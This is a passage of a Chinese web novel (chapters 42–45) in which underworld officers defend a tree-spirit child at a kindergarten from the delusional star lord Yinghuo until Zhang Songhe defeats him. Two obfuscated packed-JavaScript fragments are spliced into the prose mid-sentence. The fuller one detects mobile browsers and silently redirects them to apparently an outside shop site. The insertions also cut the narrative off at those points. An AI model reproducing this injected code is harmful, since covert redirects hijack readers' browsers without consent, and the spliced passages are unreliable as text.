“事态紧急,先斩后奏吧。等应急管理部也不知道要等到什么时候,我刚刚在附近转了一圈,这附近的居民已经都走了,估计是因为转移时,他们藏得太好了,邻居还以为大家都离开了,估计以后也不会再派人来救援了。”白子欣也表示支持祝平安的意见。 经过举手表决,只有司铜一人反对,于是大家立刻开始行动起来。重伤的阿满是第一个被转移的,且必须要送到大医院去,幼崽们不太想跟阿满分开,簇拥在阿满床前嘤嘤低泣。 阿满用尽全身力气伸出手,颤抖着摸了摸幼崽们毛绒绒的小身子,最后死命抓着祝平安的手,虽然已经说不出话,但那一双眼睛里满是恳求。 “我一定好好照顾孩子们,让它们好好吃、好好睡、好好玩,最后一个不少地交还给你,你就放心吧。”祝平安郑重地对着阿满许下了承诺。 42. 正面遭遇 这一次没有转运车,只能靠卫珑用送魂鸟来转移大家,好在幼儿园里只有四十名幼崽,卫珑跑上四趟就能搞定。 小森是个特例,它太重了,只怕很难用送魂鸟来转移。祝平安带着大家在屋子里搜刮能用的东西,打算做一个板车,徒步把小森推到安置点去。 天界,哪吒三太子终于点齐了兵马,大军向着地府开拔。魏玄成传真指挥中心,告知大军去向,公共安全部长张松鹤与在鬼门前随时待命,准备立刻投入战场。 医院,阿满被推入急救室,大夫娴熟地为他注入药水,清理创面,进行急救。 琢玉学院,桂中秋释放了大范围的幻术,被困在地下的人眼前浮现出自己所爱之人的影像,鼓舞他们再坚持一段时间…… 一切都在向着美好的结局发展,然而灾星总是喜欢在这种时刻降临。 司铜在下方托举,祝平安在上方接应,将小森从地下室抬了出来。然而就在祝平安将小森搬上板车的时候,一个红袍男子悄然飘进了山海幼儿园的大门。 他身躯高大,英武不凡,一身战袍红的宛如张狂的火焰,只是脸上总带着一种急切的神情,让他整个人显得浮躁跳脱。他的怀中紧紧抱着一个秀美的白衣女子,那女子虽清雅动人,但脸色比她身上的衣服还白,且翻着白眼,一副气若游丝全身瘫痪的样子,多少破坏了她给人的观感。 “你们是什么人?她受伤了吗?”白子欣见这情景,还以为是来了伤员,连忙迎上去。 红袍男子好像把白子欣看成空气一般,盯着小森,哈哈狂笑一声,自言自语道:“果然!那个传闻是真的!最后一片能够保佑恋人永远相爱的相思树叶,就在地府!不枉我这几天来四处打听找寻,终于让我找到了!” 说罢,他摇晃了一下怀中的女子,把那女子的头摇的像是点头娃娃一般前后乱颤:“清辉,你看到了吗,这是天地都希望我们永远在一起!跟我一起领受相思树的祝福吧,回去之后,我就会娶你为妻,纵然你已不再是仙身,但我依然要让你高居天上,谁也不能把你从我身边夺走!” 那女子被他摇醒,一副想死的表情:“荧惑,我求求你不要再发疯了!我不喜欢不喜欢不喜欢你!我已经说累了,什么相思树叶,我根本就不需要!你不要再造孽了好吗?到底要怎么样你才能放过我啊!” 原来这男子就是传说中的荧惑星君! 祝平安暗自庆幸,卫珑刚刚驾着车送走了最后十个幼崽,她不着痕迹地上前,把小森挡在身后:“来人可是荧惑星君?” 荧惑星君还是把周围人当空气一般,不仅听不见祝平安的话,连清辉的话他也置若罔闻。他不顾清辉的白眼,在她额头上珍重地烙下一个吻:“别骗我了,清辉。你心里是爱我的,只是你有太多的顾虑,担心自己与我地位悬殊,将来我会变心……” “恶心!不准亲我!你快点变心吧!现在就变!” “也担心其他神仙冷眼讥笑,暗自讽刺你不配做我正妻……” “我不配我不配我不配啊!我都承认我不配了你没听见吗!” “他人说我恋慕你的宫主嫦娥仙子,那都是谣言罢了。我虽然常常凝望广寒宫,却都是为了在嫦娥出巡的队伍中看到你而已。你不必与我怄气,我心中自始至终只有你一个!” “你都在胡说八道什么啊!嫦娥仙子造什么孽了!我造什么孽了!” 清辉仙子越说越激动,一口气上不来,又翻了白眼了。荧惑星君怜爱地轻轻刮了一下她的鼻尖:“你累了,好好睡一会儿吧,小懒虫,真是不让人省心。” 你确定她是累了吗!我看她是被你给气的吧! 一万只羊驼奔驰过祝平安心中的大草原,她都不知道怎么吐槽好了。闻名不如见面,这位星君果然是个重度妄想症患者,完全活在自己的世界里,那位清辉仙子也是可怜,被这么一个精神病缠上,怪不得自剃仙骨跳入地狱也要跑路啊,换了我,我也跑路! 叶霆霓等人明显也被这个荧惑星君肉麻的不行,一个个鸡皮疙瘩狂抖。唯有温尔雅面色严肃,悄悄附在祝平安耳边道:“荧惑乃是天上凶星,见者不详,我们这几个人不是对手,万万不要激怒他,否则恐怕凶多吉少!” 祝平安心头咆哮,我倒是也不想激怒他呀!可是你看他那样子,听得懂人话吗?那是个根本就没法交流的精神病啊! 荧惑星君在院中找到一个相对干净的地方,将清辉仙子放在那里,深情地抚摸着她的脸庞:“等着我,我这就为你把相思树叶摘来,醒来之后,你就会对我倾心相爱,生死相随了。” 不好,这个神经病是不会放过小森的,想到这个星君给地府带来的灾难,祝平安的冷汗唰唰地下来了。小森也看出来者不善,仅剩的一片叶子瑟瑟发抖:“姐姐,不要让他摘我的叶子,我就剩下最后一片叶子了,没有叶子我会死的!救救我!” “你别怕,姐姐是差役,姐姐一定保护你!”心一横,趁着荧惑星君还在演苦情戏,祝平安连忙想把小森推回地下。 “兀那小鬼!你要将相思树推到哪里?居然敢阻挠本尊的大事,你不想活了?”荧惑星君却好像后背长了眼睛一般,猛地回头呵斥。 “这是我们幼儿园的孩子!你别想摘它的叶子要它的命!”白子欣往前一站,义正言辞的把荧惑星君顶了回去,“别太自私了!人家姑娘明明不喜欢你……呃!!!” 荧惑星君面色阴沉下来,显然是被白子欣戳到了痛脚。他对着白子欣,只是闲闲一指,白子欣的双脚立刻离地,眼珠突出,面色发紫,后半句话硬生生被卡在了喉咙里,明显是荧惑星君用仙力令他窒息。 祝平安大急,一把将小森推落地下,叮嘱还在地下室的司铜千万不能开门,便抽出拘魂索向荧惑星君扑过去:“快放开他!” 啪的一下重重打在荧惑星君身上,祝平安这一击用了全力,若是一般的恶鬼,能被这一下抽的灰飞烟灭。可荧惑星君虽然发出了吃痛的哼声,却只是身躯晃动,似乎只是受了点皮肉伤。 温尔雅惶急地大叫:“平安快回来!他是仙人,不是恶鬼!拘魂索对他没有克制作用,只是一件平常的兵器而已!” 虽然没受什么伤,可这一下到底激怒了荧惑星君,他轻轻一弹指,就像是甩什么垃圾一样将白子欣甩出十来米远,白子欣的头重重地撞在院里的滑梯上,血流满脸,晕了过去。他转向祝平安,傲然道:“区区几个小鬼,就想坏本尊的好事?真是不自量力……” “热脸贴冷屁股的贱男人,还本尊本尊的!你知道人家姑娘为什么不喜欢你吗,就是因为你这种霸道总裁死缠烂打的套路太老土了!”叶霆霓手腕一抖,亮出五张符纸,迎风一招,五张符纸无火自燃,招引着五道雷霆向着荧惑星君扑去。 然而,令人惊讶的事情发生了,只见荧惑星君讽刺一笑,握指成拳,五道惊雷已经劈到他的面门,却再也难以寸进。 “茅山派的雷法?能同时招引五道天雷,你也算是道士里的佼佼者了,只可惜,鲁班门前弄大斧!你借诸天星斗之力牵引雷电,岂不知本尊就是诸天星斗之一吗?” 他张开手,向着叶霆霓的方向猛然一挥,五道惊雷瞬间调转方向,融合成一道惊雷,对着叶霆霓劈落下去,水桶粗的电光瞬间从叶霆霓头顶灌注到脚板底,将叶霆霓浑身点亮。 祝平安只觉得银光刺目,忍不住闭上了眼睛,再睁开眼看时,叶霆霓已经满面焦黑,软软倒地,生死不知。 “霆霓!白子 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“笨蛋!那你为什么还要受伤!让他打我好了,然后你给我治疗啊!明明是个脆皮牧师,干嘛要抢着当盾牌啊!”祝平安泪如雨下,按压着温尔雅的伤口,徒劳地想要为他止血。 “没用的……别白费力气了,我们……不是他的对手,你快点逃走吧……”温尔雅按住了她的手,轻轻地说,“别管我们……快走,他只想要小森……不会来追你的……” “你是我……这么多年来,唯一一个能说心里话的人……如果你死了,我又成了……孤独一人……” “我不想,再孤独下去了……” “答应我……不要让我灰飞烟灭的时候……也是孤身一人……” “我最怕……孤零零地……” 啪、啪、啪、一阵掌声传过来,荧惑星君居然站在一边给他们鼓了鼓掌,好像在看一幕舞台剧。 他感动地擦着眼泪道:“真是情深义重的场景,虽说你们只是些小鬼,却像是本尊一样是性情中人呢!看在这个份上,你只要投降,让本尊把那树叶带走,我就放你们一马。” “不要浪费了本尊的宽宏大度,小鬼!快滚吧!” 静静地抱着温尔雅,一阵漆黑的愤怒从脚底板直接冲上了祝平安的天灵盖。 她想,原来世界上还真有如此狂妄、无耻的人啊,好像这个世界都是围着他来旋转的,我们这些人的生死喜怒,都只是他生活中无聊的调剂。他开心就打赏,不开心就像是扫清虫蚁一样把我们扫进阴沟。 在他眼里,灾难无足轻重,我们的死亡无足轻重,甚至我们的情感也仅仅是一项他能够掌控、亵玩的东西而已,时至今日,他甚至还希望我为他的宽容而感激涕零! 桂中秋倒下时的身影、吴晓云跌落水中的动作、金毛毛浑身是血的画面、里奥不屈不挠的眼神、阿满临别时颤抖的手…… 形形色色的回忆一瞬间涌上祝平安心头,情绪炽热到极处,心脏反而冷硬如铁,祝平安拭去眼泪,不顾温尔雅的劝阻,用一条衣带将温尔雅牢牢绑在自己的身上,站到了荧惑星君身前。 “收起你那可笑的宽恕吧!不管是投降,还是小森,只要我还没死,你就什么也得不到。”她硬邦邦地甩出一句话,即使一身狼狈,身上还背着一个伤员,她却依然背脊笔直,像一柄宁折不弯的钢枪,有着让人难以忽视的气势。 “我答应了魏校长要心系民众,答应了阿满要把孩子一个不少的还给他,答应了小森要保护它!我虽然没什么能耐,但我说到就要做到! “只要我还有一口气,你就别想碰小森一手指头!” “温尔雅!我这条命就交给你了,不想让我死在你前头,就给我撑住,打起精神来治疗我!” “是成是败,是死是活,我就靠你了!” 43. 血战 李天王一行人浩浩荡荡通过了鬼门,天兵仪仗队立刻开始擂鼓壮威,李天王左顾右盼,却未见到预想中的迎宾队、犒军队、壮行队,到处空空如也,不由得满脸疑惑:“地府的人呢?都到哪里去了?怎么不来迎接天军?” “受灾的要么死了,要么侥幸未死,正等着人去救;没受灾的要么在救人,要么在去救人的路上。”一个男子转上前来,浅施一礼,只见他征袍染血,尘灰满面,却仍旧不掩其清俊轮廓,“在下乃是地府羊城片区公共安全部长张松鹤,特在此等候天王,共同擒拿荧惑星君,有失远迎,天王见谅。” 李天王碰了个不软不硬的钉子,却也不好发作。 他对张松鹤亦有耳闻,此人乃是道教弟子,应天命而生,资质不凡,现已具有仙箓名册,就登记在兜率宫太上老君名下。此子在地府,不过是历练功德而已,并非真正的幽冥之神,假以时日,必定羽化飞升,执掌大权,并非池中之物。 年轻人,就是气盛。看在对方未来的潜力份上,他只当没听见那话里的讽刺,干咳一声:“张部长辛苦了。” 魏玄成看出气氛不对,连忙上前打圆场:“灾情沉重,地府大乱,人手亦是有限,简薄之处并非有意怠慢,天王见谅。还请天王怜悯地府众生,速速擒获那荧惑星君,我必督促众位阎王,好生犒劳三军。” 这话倒还中听,李天王哼了一声:“千里眼、顺风耳,速速寻找荧惑星君下落!” 随着他一声令下,千里眼顺风耳立刻施展异能,二人携手结印,将所见所闻像是放电影一般展现在众人面前,画面连闪,最终忽然清晰,只见荧惑星君身在一片废墟之中,与一个背着伤员的女子进行对峙。 “小小鬼灵,竟敢如此不识抬举!”荧惑星君大怒,一拳轰击而去,将与她对峙之人打的脏腑破裂,口吐鲜血,眼见得是不能活了。 “平安!”魏玄成惊呼出声,他已经认出了那女子的相貌,不由得大急:“那是我的学生!千里眼,荧惑星君现在何处?快说呀!” 千里眼运足目力,画面一转,露出了废墟中的“山海幼儿园”几个大字,只听忽的一声,一道雪亮剑光凌空而起,张松鹤从发髻中拔出那柄小剑,抛向空中,小剑瞬间就变成一把三尺青锋。 他一跃其上,剑光一闪便御剑而去,看那方向,竟是连招呼都没空打,便向着山海幼儿园而去! 李天王屡受冒犯,再好的脾气也有点端不住了,张松鹤实在是太不把他放在眼里!一人前去,毫不合作,明摆着是看不起他,既如此,他也乐得慢慢走,反正张部长似乎也用不到他么! 哪吒三太子脚下风火轮一闪:“父王,是否让儿臣先随张部长而去,以降服荧惑星君?” “不忙,你速度太快,天兵们都跟不上,张部长既已前去,你就随着大军一齐走吧。太过出挑,小心人家说你桀骜独行,和大家有距离。” 魏玄成暗叫一声命苦,张松鹤为何着急,他很理解,但得罪了李天王,战场上稍加拖延,顷刻就是丧命之祸!虽然他也是心急如火,却不得不放下脸子,来跟李天王周旋:“天王这是哪里话……” 张松鹤身御飞剑,向着山海幼儿园的方向疾驰,这口宝剑是他性命交修之物,他甚少动用,而今事态紧急,也顾不上那许多。 虽然知道此举定然得罪李天王,可他根本无暇去管,一想起祝平安吐血倒下的情形,他的心好像被扔进了地狱,受刀锯斧斩、滚油烹煎之刑。 他一手发掘的下属!他用心灌溉了将近一年的幼苗!他最倔强的、聪明的、勇敢的学生……绝不——绝不能折损在此时此刻! 祝平安重重摔倒在地下,她死也死过一回,却从没想过一个人能够这么痛。骨头已经成了粉末,肠肚也成了一团烂肉,眼前已经是一片漆黑,虽然那漆黑很快就被一道温暖的白光驱散开来。 温尔雅颤抖的手指拂过她的伤口,她身上的烂肉在飞速愈合,骨头也回到该在的位置,她一骨碌爬起来,向着荧惑星君扑去:“我还是没死!再来!” 又是一拳过来,这次粉碎的是祝平安的腰椎,她重重倒在地上,下半身毫无知觉,然而眨眼间,温尔雅又帮她治好了伤口,她便站起身,坚持不懈地继续扑上去:“解决我啊!我还活着!” 荧惑星君逐渐觉得棘手了起来,一次次的击打,一次比一次恐怖的伤口,却依然击退不了那个女子的决心。 她像是一棵挡在他面前的巨树,死死抓住脚下的土壤,受到打击也一步不退,无论多少次濒临死亡,只要站在大地上就能够获得无穷无尽的力量。这份执着让荧惑星君越发愤恨:“该死的!不过是一个孱弱的小鬼,居然这般难缠!” 吐掉嘴里掉落下来的牙齿,祝平安操着拘魂索再次扑上去:“小鬼怎么啦,你看不起我们小鬼是吗!告诉你,小鬼跟你一样,也是有尊严的!小鬼也是有原则的,懂得有所为有所不为!小鬼也比你强,小鬼不会死皮赖脸连人话都听不懂!” “啊啊啊啊!”荧惑星君气的须发皆立,一拳轰击出去,将祝平安的肚子轰成一个大洞。更让他生气的是,一只手颤抖着拂过,下一秒那个大洞又长好了,看来不解决掉她背上那个小子,这番纠缠就没有尽头! 他心思电转,突然欺近祝平安,伸手成爪,就要去掏温尔雅的后心,祝平安就防着他这一手,猛然一转身,用自己的胸膛迎上荧惑星君的利爪,胸骨一瞬间被扯开,半颗鲜活的心被活生生挖了出来! 鲜血滴滴答答落下,温尔雅吃力地抚着祝平安的胸口:“不要……不要再这样下去了!我虽然能治愈你的伤口,但我的力量也有极限……也许下一次……我就撑不住了……你真的会死的!” “快走……不要再管我们了……难道你……都不知道痛的吗!” “你把我当什么人了?言情剧的女主吗?”粉红的心脏飞速生长,骨头复位,皮肉愈合,祝平安一度断绝的呼吸再次接续上来。 她擦掉嘴角的鲜血,继续对着荧惑星君冲了上去:“我是你们的队长、战友,将来还会是守护一方平安的差役,怕死怕痛我就不干这个了!” “我绝不后退一步,绝不让他伤害小森,也绝不丢下你们逃跑,我有我必须要做的事情,他吓不倒我,你也一样动摇不了我!” 又是一记重拳,祝平安凌空摔了出去,脖子几乎跌断。她的所有器官骨肉都已经重生了一次,有些伤口已经愈合的很是勉强,血也快要流干了,即使治愈术也不能令身体无限复生。 如果照这样下去,祝平安最多只能再撑过一次治愈术,温尔雅再也忍耐不住,落下了脆弱的眼泪。 他的眼泪落在祝平安脖颈的伤口上,迅速就被弥合的皮肉封存进了祝平安的身体。他冰冷的泪水和她滚烫的鲜血交缠在一起,瞬间就被包裹同化成同一团温暖的血肉。 他感觉自己也像是那滴眼泪一样,永远融化在了祝平安的身体里,从这一刻起,她成了他心头的一块肉,与他血脉相连,不分你我,永远不能分开,也永远不愿分开。 “平安!”天空中突然传来一声尖叫,卫珑送走了最后一批幼崽,折返回来,见此情形,猛地就要俯冲下来。祝平安眯眼看清是卫珑,连忙大声阻止了她:“别下来!他要抓小森,你快点走,去找人,说荧惑星君在这里,让他们快来!” “你说什么傻话呢!要走一块走啊!”卫珑的眼睛都急红了。 “听话!他不是鬼,你的噬鬼之能是没用的,下来也是送死!你快去叫人,我还能撑得住!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在空中惶急地转了两个圈,卫珑徘徊不前,肝肠寸断。直到听见这句话,方才一咬牙,昔日大小姐的脾气又回到了身上,满面泪痕地叫道:“祝平安!你一定给我撑住!不准死!不准死!本小姐一定会带人来救你的!” 说罢,她驱使着送魂鸟飞出来有生以来最快的速度,径直向外飞去。 见卫珑离去,荧惑星君咬牙道:“她已经走了,快快遵守诺言,把清辉仙子还给我!” “哼哼,笑话,既然她对你那么重要,我们怎么可能把她还给你?”感受到清辉仙子悄悄在捏自己的手心,祝平安也面不改色的捏回去,这位仙子她也怪可怜的。 “平安……拘魂索没用的,用匕首……万一荧惑来抢人,我们……才能划点血出来吓唬他。”温尔雅悄悄地在祝平安耳边出主意了。 “那就这么办吧!”清辉俨然是个二十四孝好人质,小声的催促祝平安动刀子,“他要是真的来抢,你就动手给我个痛快吧,让我再落到他手里,我还不如死了!” 祝平安掏出刀子顶在清辉仙子喉咙上,几人退到地下室的活板门口,个个遍体鳞伤,气喘吁吁。温尔雅喘过一口气,悄悄调动土石,随着他心意翻转,一块巨石悬在几人头顶。 “你能够调动土石?”祝平安惊诧问道:“这又是什么异能?怎么不早用出来!” “法术都需要……集中精力的,不能一边释放治愈术……一边来这个!”温尔雅悄声解释。 祝平安立刻扬声对荧惑星君道:“荧惑星君,你敢上前一步,我就让这巨石崩落,砸死你最心爱的清辉仙子不说,还要将地下的相思树妖一并砸烂,让你再也没了指望。” “小鬼敢尔!”荧惑星君无能狂怒了,气急败坏地在原地绕起了圈子。清辉仙子低声道:“这人是典型的头脑简单四肢发达,一时半会儿恐怕是不敢过来了,你可要撑住,千万别让这石头砸下来!” 其实就算砸下来也没事,他不会受到土石伤害,巨石一定会被弹开。但此时温尔雅不欲说出这个秘密,只是安抚地拍着祝平安的手背:“别怕,你一定不会有事的。” 44. 罪行 卫珑在天空满噙泪水亡命疾驰,心乱如麻,应该先找谁?不管怎么样,先去指挥中心是没错的,可这些人真的有能力救平安吗? 若不成,只能厚着脸皮问舅舅……卫珑已经什么都顾不得了,暗下决心:先去指挥中心报信,再去舅舅家求助! 就在她在天空疾驰的时候,一道剑光突然迎面向她撞来:“卫珑?你怎么在这里?祝平安呢?” “平安她还在山海幼儿园!荧惑星君要抓幼儿园的小森,平安正在阻拦他!”看清了迎面过来的居然是张松鹤,卫珑立刻惶急地说出自己知道的消息。 “具体地址在哪?赶快指给我!你沿着我来的方向走,魏校长和天兵就在后面,你赶快去给他们引路!” “是!” 就在张松鹤与卫珑亡命疾驰时,祝平安等人正在接受世界上最难捱的酷刑,那就是听荧惑星君讲他的爱情故事。此人居然认为,祝平安也是性情中人,一定会被他的故事打动,从而成全他们的。 那真是一个充斥着自私、自恋、自作多情的故事,听的祝平安牙痒痒的,要不是打不过,恨不得上前活撕了荧惑星君。 方才在激战之中,她有肾上腺素撑着,现在稍微松弛下来,便觉得浑身上下没有一处不痛,虚弱地一点力气都没有了。她微微一动,便觉得温尔雅软软地倒在自己肩膀上,连忙深吸一口气,撑起身子问他:“很痛是吧?还能坚持吗?” 温尔雅脸色惨白:“你别让他……再说那个故事了,听得我……恶心……呕……” “喂,你撑住啊!”清辉仙子也急了,“我们三个都指望着你呢!” “温尔雅,你不是很想再去我家玩吗?”祝平安急中生智,开始畅想未来,“如果你来我家,我们再去买大螃蟹和大龙虾来吃好吗?” 回忆起往事,温尔雅脸上露出一抹血色,头微微抬起:“好啊……这次我们还是……不用钱买……我让你抽奖……” 一看这招有用,祝平安继续鼓励:“我们还可以把大家都叫到家里聚会,这样你就再也不寂寞了,你说好不好?” “朋友……一个就够了……”温尔雅的头又软软垂下来了。 “好好好,就我和你,你想怎么样就怎么样。”祝平安满口称是,现在就是温尔雅说要天上的星星她也敢答应。“我家房间很多,你可以睡客房,我们还可以经常来看小森,带他再玩童话剧的故事……” 是吗?那以后的每一天,都会是我生命里……最快乐的一天啊。 光是畅想着那种幸福,温尔雅便感到一阵轻飘飘的陶醉,不过那也可能是失血过多产生的幻觉。在祝平安看不见的地方,濡湿的血流已经浸透了衣衫,成股地流淌下来。追逐着那种温暖而幸福的感觉,温尔雅笑着闭上了眼睛。 与此同时,巨石立刻摇摇欲坠,清辉仙子尖叫着抱住了祝平安:“快让他醒一醒啊!” 咣! 一道清冷的剑光从天边急速飞来,落在祝平安身前,男人脚踏宝剑,凌空而来,双臂一张,撑起银蓝色的结界,将巨石弹开。他扭头下降,一张清俊面容上满是担心:“终于被我赶上了!平安,你们几个没事吧!” 怔怔地看着张松鹤的面容,祝平安张了张嘴,心想是说一句“幸不辱命”好呢,还是“我证明了你没走眼”呢?哪句都会显得自己很帅气吧? 可最终,她只是丢脸地抓着张松鹤的袖子,哇哇大哭起来:“我……温尔雅和白子欣,还有吴晓云……” 她想说的话太多了,反而都卡在喉咙里,只挤出来一些破碎的呜咽。拯救灾民,照顾同伴,剿灭恶鬼、死守山海幼儿园,其实件件都超过了她的能力范围,压力虽然比山大,但作为队长与差役,这个坚强的姑娘选择了死撑到底。 现在,她这才把这个星期累积的遗憾、害怕、痛苦、压力、责任、生离死别一股脑地倒出来:“我真的……我已经尽力了!他要小森的树叶,我得保护小森……呜呜呜!” “做得很好,平安。”一只手安抚地拍着她的后背,“我果然没有看错你,你一定会成为一个最好的差役的。” “我不是!大家都……现在的情况……我处理不了……我真的没办法!” “嘘,别哭别哭。”朦胧中,有一双温暖的手擦去了她的眼泪,“我是怎么教你的,情况超出能力范围的时候,你要做什么?” “……请求上级支援。” “现在我来了,交给我,你还有什么不放心的呢?” 是啊,她还有什么不放心的呢? 这个念头一起,祝平安眼前猛地一黑,知道会有人接替她来处理一切,她终于能够放下心来晕倒了。 张松鹤接住那软倒下去的躯体,解开了她与温尔雅之间的缚带,她变得好轻,比他第一次见到她时还要轻,这个不屈不挠的灵魂,到底吃了多少苦,才变得如今这么脆弱? 这一切的缘由,都要着落在眼前的荧惑星君身上,无论是为地府遇难的生灵,还是为了他自己心头那隐隐的疼痛,他都不打算让荧惑活着回去。 宝剑锵然出鞘,明如秋水,气贯长虹,千道剑光内夹着无数银蓝的冰刃,以无比优美的轨迹向荧惑星君刺去。 如此攻势,让荧惑星君亦是一惊,认识到眼前男子实力不在其下,他不敢正面争锋,连忙跃起闪避:“好生不识礼数!来者通名,本尊手下不杀无名之辈!” 张松鹤却不回应这个问题,他长剑直指荧惑星君心窝,身后的空气微微扭曲,数道金光从他身体中散发出来,逐渐在空中形成金色虚影,形如一个个古意盎然的文字:“荧惑星君,其罪有七!” “软禁清辉仙子,强迫成亲,是为罪一!”张松鹤右手斜挽剑花,剑意盎然,蓄势而发。荧惑星君也不由得暗自警惕。 “为一己之私欲,侵扰地府,是为罪二!”张松鹤左手并紧双指,抹过手中剑锋,随着其指尖拂过,剑身光芒陡然暴涨。刺的荧惑星君不由得闭上双眼。 “残害地府百姓,涂炭生灵,是为罪三!”张松鹤持剑跃起,猛然冲刺,一点寒芒如惊雷破夜,气势惊人,刹那间便冲到荧惑星君身前,星君猝不及防,只得后仰闪避。 “引发恶鬼出逃,街市暴乱,是为罪四!”张松鹤挥剑下劈,直击星君腰腹,差点便将其一挥两截,星君此时也顾不上什么脸面,狼狈地就地一滚,身上红袍染尘,再不复趾高气昂之态。 “抢夺相思树叶,伤害儿童,是为罪五!”张松鹤不给星君任何喘息时间,揉身而上,以精妙剑招连连追击,星君被逼无奈,以手臂阻挡剑锋,只听一声痛嘶,他的手臂立刻被划了一道血痕,血溅战袍。 “败坏天庭清誉,傲慢残忍,是为罪六!”张松鹤一击得手,变刺为削,只听哧的一声,荧惑星君的衣服被划开一个大口子,半片衣衫翩飞而去,荧惑星君小半个身子都裸了出来,形貌宛如乞丐一般狼狈。 “伤害地府差役,暴力抗法,是为罪七!”张松鹤见星君先机已失,手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837513|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腕一抖,一霎时间千点剑花飘落,其姿态美妙至极,剑势灵巧,恰好克制星君势大力沉的路子。 星君虽然连连抵挡,身上依然被刺出大大小小的血洞。然而他身体强壮,这些小伤未能令其受挫,他身躯猛然一震,气势外发,将张松鹤震开,冷笑道:“就这么点本事?” “苍天后土,天理昭然,七罪并罚,合当身殒!!!”张松鹤趁势飘然后退,优雅利落如林中猎豹,他扬起嘴角,露出一个森冷的微笑:“荧惑星君,今日就是你授首之时!” 随着他最后的宣判,空中那些隐隐的金色文字猛然光芒大作,化为一股金色洪流,向着荧惑星君冲击而去。荧惑星君双拳燃起烈火,猛然撑起一片火焰结界,冷笑道:“区区细流,也敢与本尊不熄之炎匹敌!” 一旁观战的清辉仙子也不禁为张松鹤捏把汗,荧惑在五行中为烈火之精,亦被人称为火星,其火焰威力极强,一怒可至赤地千里。 张松鹤此人她也听说过,是风头无两的预备役神明,据说是人妖混血,看来他的控水异能就是来自于妖族的血统了,只是区区妖族召来的水流,能扑灭荧惑的烈火吗? 她屏着呼吸,紧张地盯着那水火相撞的一瞬,出人意料的是,那金色的洪流并没有像她想的那样,被烈火蒸腾为水汽,而是轻轻巧巧地穿过那火焰结界,丝毫未损,恍如一缕金光刺破红云。 荧惑星君亦是吃惊地睁大了眼,但已经来不及躲闪。 洪流下注,直灌荧惑星君头顶,没有预想中被水冲击的清凉,荧惑星君只觉沾到水的肌肤如被毒火焚烧,带来剥皮蚀骨般的痛楚,这剧痛让他忍不住大声惨叫,在地上打起了滚。 清辉仙子惊骇地发现,荧惑星君的皮肤正在片片腐烂消融,露出皮肤下的肌肉筋腱,一眨眼之间,便从一个英武男子变成了一个可怖的怪物! “这不是普通的水!这水里有毒!你是谁!你究竟是谁!”荧惑星君也发现了自己现在的模样,忍不住捂住脸惨嚎起来,一双赤红的眼睛紧盯着张松鹤,写满了怨毒。 “净水无形,育以正气,涤罪荡秽,复归洁净。”张松鹤伸出手去,从地上掬起一捧水,那金色的水流清净无瑕,在张松鹤的指缝间流泻,却并未造成一点损伤。 “此水能将一切污浊之物统统濯洗净化,未曾作恶者,沐浴此水亦无妨,可若为作恶之人,一沾染此水,必会受到削肉蚀骨般的痛苦,直至身上所有污秽被净化为止。” 他长剑落下,剑尖寒光内敛,点住荧惑星君咽喉,“荧惑星君,你罪孽无数,流毒遍身,竟然找不出一点洁净之处,我执法多年,剑斩恶人千万,也未见过如你这般的……污秽之物。” 荧惑星君望着那张冷漠无情的面容,蓦然想起一个天界中流传已久的故事。 传说太初之始,盘古开天地,定三界,身化日月星辰。后女娲造人,万灵繁衍,生生不息,而天地法度未清,常有杀戮欺凌,厄孽滋生,若放任如此,必将造成秩序崩坏,使三界毁于一旦。 故末法时代,必有执法之人应天命降世,驭紫电,持青霜,净水濯世间罪愆,烈焰焚三界恶孽,以保众生周全。 “涤罪之水……你是……未来的执法帝君……”荧惑星君恍如大梦初醒。 “猜对了。”张松鹤眼睫低垂,整张面孔如道观中的神像,不悲不喜,无忧无怒:“但现在,我还是一个凡人,你从没正眼瞧过的,凡人中的一员。你可以叫我的人类名字——张、松、鹤。” 45. 余波 “李天王,大军就不能走的更快一点了吗?”魏玄成不断地擦着汗询问,心内虽然已经急出了血,却只能强压着焦躁赔笑询问。 “这已经是最快速度了,若前军骤然变阵加速,只怕后军跟不上,两军失散,那就麻烦了。”李天王老神在在,一副都是为了大局着想的口气。 魏玄成暗自咬牙,他生前也不是没指挥过军队,大军若训练有素,怎会如此?李天王摆明了是故意拖延! 想到张松鹤孤军作战,他心里就是七上八下,虽然他也知道张松鹤能力不凡,可究竟还没羽化成神,荧惑却是主兵事之星,在天界也有赫赫威名,只怕张松鹤并不是对手。 “校长!校长!不好了!荧惑星君在山海幼儿园,平安她快被打死了!”一个满面泪痕的姑娘突然驾着送魂鸟冲过来,头发乱成一团,像个疯子。 “什么人!”前排天兵绰起长枪,将卫珑拦在身前。 “是我的学生,无妨,无妨。”魏玄成连忙上前把卫珑引进来:“快说,怎么回事!你看见张部长没有?” “张部长让我来报信,现在他应当正在和荧惑星君交战……”卫珑的眼泪又下来了,“校长,快救救他们呀!” 李天王心中掐算时间,估计张松鹤吃的苦头也差不多了,若拖延太久出了意外也不好,便招呼道:“千里眼、顺风耳,再看看战况吧。” 千里眼顺风耳口中称是,再展神通,李天王嘴角噙着冷笑,卫珑和魏玄成都提心吊胆。画面眨眼从朦胧变为清晰,恰好见到荧惑星君被涤罪之水净化成一坨怪物,就地打滚哀嚎的场面。 李天王大吃一惊,他本想是让张松鹤吃点苦头,没想到张松鹤居然有如此实力,荧惑星君反而落了下风,若是自己不去,说不定会被张松鹤斩杀当场,那可就麻烦大了! 他连忙催动大军:“全速出发,赶往战场!哪吒,你的脚程快,你先去!” “李天王急什么,若让大军失散就不好了。”魏玄成见战场局势几乎是一边倒,心中大定,笑眯眯地暗讽李天王,“现在荧惑星君已经被制住,三太子怎好桀骜独行,脱离大军?” 